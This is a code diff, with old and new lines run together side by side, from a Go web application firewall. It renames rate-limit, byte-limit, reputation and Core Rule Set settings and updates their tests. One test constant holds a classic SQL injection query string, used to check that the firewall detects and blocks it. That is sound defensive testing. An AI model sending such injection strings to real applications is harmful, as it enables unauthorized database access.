rateLimitPerMinute: "1", rateLimitPerMinute: "1",
limitBanDuration: "10m", limitBanDuration: "10m",
limitBanRepeatWindow: "1h", limitBanRepeatWindow: "1h",
limitBanPermanentAbove: "1h", maxBanDuration: "1h",
}) })
// breakLimit has client go over the limit of one a minute, and // breakLimit has client go over the limit of one a minute, and
@@ -130,7 +130,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
clk.advance(10 * time.Minute) clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute) wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is // 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
// permanent. // permanent.
clk.advance(30 * time.Minute) clk.advance(30 * time.Minute)
@@ -256,7 +256,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{ s, _, _ := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
banScopeV4Prefix: "24", banScopeV4Prefix: "24",
tagDeny: denyKP, tagDeny: denyKP,
@@ -319,7 +319,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
tagDeny: denyKP, tagDeny: denyKP,
@@ -345,7 +345,7 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
tagDeny: denyKP, tagDeny: denyKP,
}) })
internal/waf/biased.go
+27 -28
View File
@@ -17,15 +17,14 @@ type percentage struct {
} }
// biasedThresholdsSet reports whether a biased threshold can lower a // biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or // client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty, // SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or // below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed // then needed before its request goes on.
// before its request goes on. func biasedThresholdsSet(cfg *config.Config) bool {
func biasedThresholdsSet(cfg *config.WAF) bool { return len(cfg.ASNBytesPercent) > 0 ||
return len(cfg.ASNBytesLimitPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
len(cfg.CountryBytesLimitPercent) > 0 || cfg.UnknownLimitPercent < whole ||
cfg.UnknownCountryLimitPercent < whole ||
cfg.ASNLimitPercentURL != "" cfg.ASNLimitPercentURL != ""
} }
@@ -38,13 +37,13 @@ func biasedThresholdsSet(cfg *config.WAF) bool {
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one // SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its // SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped // other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist // the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and // lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is // for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For // a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and // the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for // take the place of the first three for an AS number or a country they
// an AS number or a country they list. // list.
func (rq *request) limitPercentages() (percentage, percentage) { func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country asn, country := rq.line.ASN, rq.line.Country
@@ -52,8 +51,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole} unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait { if country == "" && !rq.skippedLookupWait {
unknown = percentage{ unknown = percentage{
cfg.UnknownCountryLimitPercent, cfg.UnknownLimitPercent,
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", "SWW_WAF_UNKNOWN_LIMIT_PERCENT",
} }
} }
@@ -70,12 +69,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
} }
} }
dnsblAbuseIPDBListed := percentage{percent: whole} reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && if (rq.dnsblListed || rq.abuseIPDBHit) &&
cfg.DNSBLAbuseIPDBAction == "limit" { cfg.ReputationAction == "limit" {
dnsblAbuseIPDBListed = percentage{ reputationListed = percentage{
cfg.DNSBLAbuseIPDBLimitPercent, cfg.ReputationLimitPercent,
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION", "SWW_WAF_REPUTATION_ACTION",
} }
} }
@@ -103,24 +102,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
} }
asnBytes, countryBytes := asnRequests, countryRequests asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed { if _, listed := cfg.ASNBytesPercent[asn]; listed {
asnBytes = given( asnBytes = given(
cfg.ASNBytesLimitPercent, cfg.ASNBytesPercent,
asn, asn,
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", "SWW_WAF_ASN_BYTES_PERCENT",
) )
} }
if _, listed := cfg.CountryBytesLimitPercent[country]; listed { if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given( countryBytes = given(
cfg.CountryBytesLimitPercent, cfg.CountryBytesPercent,
country, country,
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", "SWW_WAF_COUNTRY_BYTES_PERCENT",
) )
} }
// The limits that lower requests and bytes alike. // The limits that lower requests and bytes alike.
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed) common := lowest(otherTags, unknown, blocklisted, reputationListed)
return lowest(asnRequests, countryRequests, common), return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common) lowest(asnBytes, countryBytes, common)
internal/waf/biased_test.go
+36 -50
View File
@@ -8,7 +8,6 @@ import (
"net/http/httptest" "net/http/httptest"
"net/netip" "net/netip"
"path/filepath" "path/filepath"
"strconv"
"strings" "strings"
"testing" "testing"
"testing/synctest" "testing/synctest"
@@ -24,9 +23,9 @@ import (
// The biased thresholds. // The biased thresholds.
const ( const (
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT" asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT" countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT" unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
) )
const ( const (
@@ -61,7 +60,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
}{ }{
{tagLimitPercent, asnTagDEHalf, fromDE}, {tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, countryTagDEHalf, fromDE}, {tagLimitPercent, countryTagDEHalf, fromDE},
{unknownCountryLimitPercent, "50", unplaced}, {unknownLimitPercent, "50", unplaced},
} { } {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -109,9 +108,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}{ }{
{tagLimitPercent, asnTagDEHalf, fromDE}, {tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, "Country=de:50", fromDE}, {tagLimitPercent, "Country=de:50", fromDE},
{unknownCountryLimitPercent, "50", unplaced}, {unknownLimitPercent, "50", unplaced},
{asnBytesLimitPercent, "as64496:50", fromDE}, {asnBytesPercent, "as64496:50", fromDE},
{countryBytesLimitPercent, countryDEHalf, fromDE}, {countryBytesPercent, countryDEHalf, fromDE},
} { } {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -150,7 +149,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
} }
} }
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits( func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
t *testing.T, t *testing.T,
) { ) {
t.Parallel() t.Parallel()
@@ -164,28 +163,22 @@ func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
}{ }{
{ {
"lowering the byte limits alone", "lowering the byte limits alone",
map[string]string{asnBytesLimitPercent: asnDEHalf}, map[string]string{asnBytesPercent: asnDEHalf},
none, "50 from " + asnBytesLimitPercent, minuteBytes, none, "50 from " + asnBytesPercent, minuteBytes,
}, },
{ {
"lowering the byte limits alone, by country", "lowering the byte limits alone, by country",
map[string]string{countryBytesLimitPercent: countryDEHalf}, map[string]string{countryBytesPercent: countryDEHalf},
none, "50 from " + countryBytesLimitPercent, minuteBytes, none, "50 from " + countryBytesPercent, minuteBytes,
}, },
{ {
"raising the byte limits back", "raising the byte limits back",
map[string]string{ map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
tagLimitPercent: asnTagDEHalf,
asnBytesLimitPercent: asnDE + ":100",
},
"50 from " + tagLimitPercent, none, "", "50 from " + tagLimitPercent, none, "",
}, },
{ {
"raising the byte limits back, by country", "raising the byte limits back, by country",
map[string]string{ map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
tagLimitPercent: countryTagDEHalf,
countryBytesLimitPercent: "de:100",
},
"50 from " + tagLimitPercent, none, "", "50 from " + tagLimitPercent, none, "",
}, },
} { } {
@@ -221,7 +214,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
s, _, _ := startWithLookups( s, _, _ := startWithLookups(
t, t,
map[string]string{unknownCountryLimitPercent: "0"}, map[string]string{unknownLimitPercent: "0"},
) )
// The first request breaks the limit, and bans the client; the log line // The first request breaks the limit, and bans the client; the log line
@@ -232,12 +225,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
requestlog.ActionClientIsRateLimited, requestlog.ActionClientIsRateLimited,
) )
if line.fields["rate_limit_percent"] != float64(0) || if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent { line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf( t.Errorf(
"log line has rate_limit_percent %v from %v, want 0 from %s", "log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["rate_limit_percent"], line.fields["rate_limit_percent"],
line.fields["rate_limit_percent_setting"], line.fields["rate_limit_percent_setting"],
unknownCountryLimitPercent, unknownLimitPercent,
) )
} }
@@ -271,11 +264,11 @@ func TestLowestPercentageApplies(t *testing.T) {
}, },
{ {
"that for a client without a country", "that for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"}, map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
noCountry, "25 from " + unknownCountryLimitPercent, noCountry, "25 from " + unknownLimitPercent,
}, },
{ {
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100. // SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country", "the AS number's, for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:25"}, map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + tagLimitPercent, noCountry, "25 from " + tagLimitPercent,
@@ -303,13 +296,13 @@ func TestLowestPercentageApplies(t *testing.T) {
} }
} }
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage( func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
t *testing.T, t *testing.T,
) { ) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{ s, _, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50", rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
}) })
// One the lookup database does not hold, and one on a private address, // One the lookup database does not hold, and one on a private address,
@@ -330,17 +323,14 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
} }
} }
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent( func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// In a synctest bubble, as // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with // says, with a GeoJS that never answers.
// a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{unknownCountryLimitPercent: "0"}) map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client // Once the time the request waits for its answer is up, the client
// counts as without a country, and its zero allowance refuses the // counts as without a country, and its zero allowance refuses the
@@ -356,7 +346,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
) )
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownCountryLimitPercent) "0 from "+unknownLimitPercent)
}) })
} }
@@ -375,26 +365,22 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// A tag the lookup does not give needs no answer. // A tag the lookup does not give needs no answer.
{tagLimitPercent, "vpn:50", false}, {tagLimitPercent, "vpn:50", false},
{tagDeny, "vpn", false}, {tagDeny, "vpn", false},
{asnBytesLimitPercent, asnDEHalf, true}, {asnBytesPercent, asnDEHalf, true},
{countryBytesLimitPercent, countryDEHalf, true}, {countryBytesPercent, countryDEHalf, true},
{unknownCountryLimitPercent, "99", true}, {unknownLimitPercent, "99", true},
{asnLimitPercentURL, asnURL, true}, {asnLimitPercentURL, asnURL, true},
// At 100, its default, it lowers no limit. // At 100, its default, it lowers no limit.
{unknownCountryLimitPercent, "100", false}, {unknownLimitPercent, "100", false},
} { } {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) { t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
// In a synctest bubble, as // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, // says, with a GeoJS that never answers.
// with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
asnAndCountryLookupTimeout: strconv.FormatInt( lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
timeout.Milliseconds(), 10),
tagLists: "vpn=" + vpnList,
tc.setting: tc.value,
}) })
began := time.Now() began := time.Now()
@@ -463,10 +449,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
"a byte limit", "a byte limit",
map[string]string{ map[string]string{
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter, bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
asnBytesLimitPercent: asnDEHalf, asnBytesPercent: asnDEHalf,
}, },
0, http.StatusOK, requestlog.ActionForward, 0, http.StatusOK, requestlog.ActionForward,
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent, "bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
internal/waf/bytelimits.go
+1 -1
View File
@@ -1,6 +1,6 @@
package waf package waf
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits // The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages. // and biased thresholds through the limiter and limitPercentages.
import ( import (
internal/waf/bytelimits_test.go
+5 -5
View File
@@ -22,10 +22,10 @@ const (
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE" bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR" bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY" bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
bytesCounted = "SWW_WAF_BYTES_COUNTED" bytesCount = "SWW_WAF_BYTES_COUNT"
) )
// The values of SWW_WAF_BYTES_COUNTED. // The values of SWW_WAF_BYTES_COUNT.
const ( const (
countResponse = "response" countResponse = "response"
countRequest = "request" countRequest = "request"
@@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t, t,
answerAfterUpgrade, answerAfterUpgrade,
map[string]string{ map[string]string{
bytesLimitPerMinute: "29", bytesCounted: tc.setting, bytesLimitPerMinute: "29", bytesCount: tc.setting,
}, },
) )
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
} }
} }
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) { func TestBytesCountSaysWhichBytesCount(t *testing.T) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -257,7 +257,7 @@ func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting, bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
}) })
for i := 1; i <= tc.breaking; i++ { for i := 1; i <= tc.breaking; i++ {
internal/waf/coreruleset.go
+11 -11
View File
@@ -1,7 +1,7 @@
package waf package waf
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE, // The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. // SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
import ( import (
"context" "context"
@@ -17,7 +17,7 @@ import (
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS // SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
// exempts its path, as pathExempt decides, and notes the rules it matched and // exempts its path, as pathExempt decides, and notes the rules it matched and
// its score in the log line, and the rules in the metrics. A score at or over // its score in the log line, and the rules in the metrics. A score at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
// exploitsignature, raises the core_rule_set_match alert, and in block mode // exploitsignature, raises the core_rule_set_match alert, and in block mode
// refuses the request with 403, which is an offence its client's history // refuses the request with 403, which is an offence its client's history
// counts. Its figures are the score and the threshold. // counts. Its figures are the score and the threshold.
@@ -31,8 +31,8 @@ func (coreRuleSet) check(
_ time.Time, _ time.Time,
) *verdict { ) *verdict {
cfg := rq.h.config cfg := rq.h.config
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff || if cfg.WAFMode == config.WAFModeOff ||
pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) { pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil return nil
} }
@@ -50,10 +50,10 @@ func (coreRuleSet) check(
rq.line.CoreRuleSetScore = &result.Score rq.line.CoreRuleSetScore = &result.Score
for _, id := range result.RuleIDs { for _, id := range result.RuleIDs {
rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id) rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
} }
threshold := cfg.CoreRuleSetScoreThreshold threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold { if threshold == 0 || result.Score < threshold {
return nil return nil
} }
@@ -61,7 +61,7 @@ func (coreRuleSet) check(
rq.addTag(config.ExploitSignatureTag) rq.addTag(config.ExploitSignatureTag)
rq.alertCoreRuleSetMatch(result) rq.alertCoreRuleSetMatch(result)
if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect { if cfg.WAFMode == config.WAFModeDetect {
return nil return nil
} }
@@ -78,7 +78,7 @@ func (coreRuleSet) check(
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request, // alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over // which the Core Rule Set scored at result, at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
// score, the method and the path with the query, and, for a request that is // score, the method and the path with the query, and, for a request that is
// not refused for it, the mode: detect, or observe in observe mode. // not refused for it, the mode: detect, or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) { func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
@@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
} }
switch { switch {
case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect: case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.CoreRuleSetModeDetect detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe: case rq.h.config.Observe:
detail["mode"] = "observe" detail["mode"] = "observe"
} }
@@ -105,7 +105,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
ASName: rq.line.ASName, ASName: rq.line.ASName,
Country: rq.line.Country, Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over " + Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
Detail: detail, Detail: detail,
}) })
} }
internal/waf/coreruleset_test.go
+36 -52
View File
@@ -18,10 +18,10 @@ import (
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and // The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
// its two modes that inspect requests. // its two modes that inspect requests.
const ( const (
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD" wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE" wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
apps = "SWW_WAF_APPS" apps = "SWW_WAF_APPS"
block = "block" block = "block"
detect = "detect" detect = "detect"
@@ -30,8 +30,8 @@ const (
// formData is the type of a form's body. // formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded" const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that // sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
// read bodies, 1K as a setting. // setting.
const ( const (
sizeLimit = 1 << 10 sizeLimit = 1 << 10
sizeLimitSetting = "1K" sizeLimitSetting = "1K"
@@ -39,7 +39,7 @@ const (
// sqlInjection asks for / with an SQL injection in its query, which only // sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default // the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1" const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and // wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
@@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
s, _, _ := startWithClock( s, _, _ := startWithClock(
t, t,
"", "",
map[string]string{coreRuleSetMode: tc.mode}, map[string]string{wafMode: tc.mode},
) )
wantTags( wantTags(
@@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: detect, tagDeny: "exploitsignature", wafMode: detect, tagDeny: "exploitsignature",
}) })
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
@@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
s, _, _ := startWithClock( s, _, _ := startWithClock(
t, t,
"", "",
map[string]string{coreRuleSetMode: tc.mode}, map[string]string{wafMode: tc.mode},
) )
line := s.requestWithHeader( line := s.requestWithHeader(
@@ -186,11 +186,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) { func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t,
"",
map[string]string{coreRuleSetMode: block},
)
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
@@ -200,11 +196,7 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) { func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t,
"",
map[string]string{coreRuleSetMode: block},
)
line := s.request( line := s.request(
client, client,
@@ -223,10 +215,10 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, wafMode: block,
coreRuleSetExemptPaths: "/api/", wafExemptPaths: "/api/",
allowNets: allowed, allowNets: allowed,
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
}) })
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS // A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
@@ -266,7 +258,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is. // With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
